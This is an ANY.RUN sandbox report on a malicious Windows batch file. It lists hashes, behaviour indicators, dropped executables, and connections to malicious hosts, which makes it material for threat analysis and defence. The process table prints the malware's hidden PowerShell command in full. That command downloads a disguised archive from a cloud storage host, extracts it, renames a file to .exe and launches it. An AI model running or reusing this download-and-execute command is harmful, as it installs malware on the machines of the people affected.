analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

_ëyDT.bat

Full analysis: https://app.any.run/tasks/c8eeb8a0-86f4-4e0e-8279-b9a6e9fdce9d
Verdict: Malicious activity
Analysis date: September 30, 2020, 13:49:12
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
evasion
Indicators:
MIME: text/plain
File info: ASCII text, with very long lines, with CRLF line terminators
MD5:

7572B0D2667128910D3FD85961F4F178

SHA1:

0B799F611012C2919D7D9FA8B3F6C8548C0FFD40

SHA256:

55DE7B3BBA150A8A045CA21A8912E971E42899131920D15D2FD3E97AD46343A2

SSDEEP:

48:B+A3jyj7w4BgLS2SlB24tzEE5Xe0WjFGcfXGPuqepDDXpt:53jyj7w4E9SlBrtD0pJRD1t

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Loads dropped or rewritten executable

      • .exe (PID: 3840)
      • SearchProtocolHost.exe (PID: 3268)
      • iexplore.exe (PID: 2680)

    • Application was dropped or rewritten from another process

      • .exe (PID: 3840)

    • Executes PowerShell scripts

      • cmd.exe (PID: 3704)

    • Changes the autorun value in the registry

      • iexplore.exe (PID: 2680)

  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • cmd.exe (PID: 3704)

    • Starts Internet Explorer

      • .exe (PID: 3840)

    • Creates files in the user directory

      • powershell.exe (PID: 552)

    • Application launched itself

      • cmd.exe (PID: 3704)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 552)

    • Reads the BIOS version

      • iexplore.exe (PID: 2680)

    • Reads CPU info

      • iexplore.exe (PID: 2680)

  • INFO

    No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
42
Monitored processes
6
Malicious processes
4
Suspicious processes
1

Behavior graph

Click at the process to see the details
start drop and start cmd.exe no specs cmd.exe no specs powershell.exe searchprotocolhost.exe no specs .exe iexplore.exe

Process information

PID
CMD
Path
Indicators
Parent process
3704cmd /c ""C:\Users\admin\AppData\Local\Temp\_ëyDT.bat" "C:\Windows\system32\cmd.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2396C:\Windows\system32\cmd.exe /c echo %charpool:~15,1%C:\Windows\system32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
552powershell.exe -windowstyle hidden -Command "& {Import-Module BitsTransfer;Start-BitsTransfer 'https://gjkegwe.s3-eu-west-1.amazonaws.com/image2.png' 'C:\Users\admin\_f\.zip';Start-Sleep -s 5 ;$shell = new-object -com shell.application;$zip = $shell.NameSpace('C:\Users\admin\_f\.zip');foreach($item in $zip.items()){$shell.Namespace('C:\Users\admin\_f').copyhere($item);};Start-Sleep -s 5 ;rename-item -path ('C:\Users\admin\_f\dump.dmp') -newname ('.dmp');rename-item -path ('C:\Users\admin\_f\dump2.dmp') -newname ('.exe');remove-item 'C:\Users\admin\_f\.zip';Start-Sleep -s 5 ;Start-Process ('C:\Users\admin\_f\.exe')}"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3268"C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe5_ Global\UsGthrCtrlFltPipeMssGthrPipe5 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon" C:\Windows\System32\SearchProtocolHost.exe—SearchIndexer.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Microsoft Windows Search Protocol Host
Version:
7.00.7600.16385 (win7_rtm.090713-1255)
3840"C:\Users\admin\_f\.exe" C:\Users\admin\_f\.exe
powershell.exe
User:
admin
Company:
AVAST Software
Integrity Level:
MEDIUM
Description:
Avast Dump Process
Exit code:
3
Version:
18.7.4041.0
2680"C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe
.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Internet Explorer
Version:
11.00.9600.16428 (winblue_gdr.131013-1700)
Total events
940
Read events
875
Write events
0
Delete events
0

Modification events

No data
Executable files
6
Suspicious files
2
Text files
0
Unknown types
0

Dropped files

PID
Process
Filename
Type
552powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\MQ4VYD2E4YLCSHC0HLOY.temp —
MD5:—
SHA256:—
552powershell.exeC:\Users\admin\_f\dump.dmp —
MD5:—
SHA256:—
552powershell.exeC:\Users\admin\_f\.dmp —
MD5:—
SHA256:—
552powershell.exeC:\Users\admin\_f\dump2.dmpexecutable
MD5:9B7D6EFF018883DC951A4FB5A1418A93
SHA256:9F33291224985B73C145D6154BC97BB92964F61D3FD9AC7A7F072A96447E9B3C
552powershell.exeC:\Users\admin\_f\.exeexecutable
MD5:9B7D6EFF018883DC951A4FB5A1418A93
SHA256:9F33291224985B73C145D6154BC97BB92964F61D3FD9AC7A7F072A96447E9B3C
552powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:4028388263805ABA00088A0BA4EEA515
SHA256:5A67495439D515C063CD1732C649C5ADA72E7C0056CA8B6CD70A49F80643B948
552powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF3bc0d0.TMPbinary
MD5:4028388263805ABA00088A0BA4EEA515
SHA256:5A67495439D515C063CD1732C649C5ADA72E7C0056CA8B6CD70A49F80643B948
552powershell.exeC:\Users\admin\_f\borlndmm.dllexecutable
MD5:0CF6C24C611C58FE8B85DA545DD68364
SHA256:1C7FF99399A59491C7C016681EF3BE2890DCE818C3D6CCF2F18D27F2EEB3ACE9
552powershell.exeC:\Users\admin\_f\ssleay32.dllexecutable
MD5:A71BB55BE452A69F69A67DF2FE7C4097
SHA256:FF6C7F1C9DCFF3B3A90CF57A9B4341DDA0D76ADB9E8667B4A3F75E15A2B7A832
552powershell.exeC:\Users\admin\_f\dbghelp.dllexecutable
MD5:FB8B818F81A3172194D1F6BBDCBBAD4B
SHA256:8A500A36B1E94380B06330830E63459E70A7C8473DEB92A087F320466B19C191
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
3
DNS requests
5
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2680
iexplore.exe
170.82.173.10:443
www.localizaip.com.br
3L CLOUD INTERNET SERVICES LTDA - EPP
BR
malicious
—
—
52.218.29.232:443
gjkegwe.s3-eu-west-1.amazonaws.com
Amazon.com, Inc.
IE
unknown

DNS requests

Domain
IP
Reputation
gjkegwe.s3-eu-west-1.amazonaws.com
  • 52.218.29.232
unknown
www.localizaip.com.br
  • 170.82.173.10
  • 170.82.174.10
unknown
dns.msftncsi.com
  • 131.107.255.255
shared
www.goole.com
  • 217.160.0.201
suspicious

Threats

Found threats are available for the paid subscriptions
1 ETPRO signatures available at the full report
Process
Message
iexplore.exe
[REM => lnag 1
iexplore.exe
[REM => Start..
.exe
[2020-09-30 13:49:53.840] [fatal ] [dump ] [ 3840: 3232] DumpProcess failed Exception: Error: Argument parsing failed Code: 0x00000003 (3) Exception: Not enough arguments supplied Code: 0x000000a0 (160)
iexplore.exe
[REM => ERROR_NetwokFullInformation :Socket Error # 10060 Connection timed out. - EIdSocketError
iexplore.exe
[REM => Iniciar..
iexplore.exe
[REM => Iniciar..
iexplore.exe
[REM => C:\Users\admin\AppData\Local\Temp
iexplore.exe
[REM => C:\Users\admin\_f\
iexplore.exe
[REM => C_DIR =>C:\Users\admin\_f\
iexplore.exe
[REM => NAME_IS =>C:\Users\admin\_f\
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
_ëyDT.bat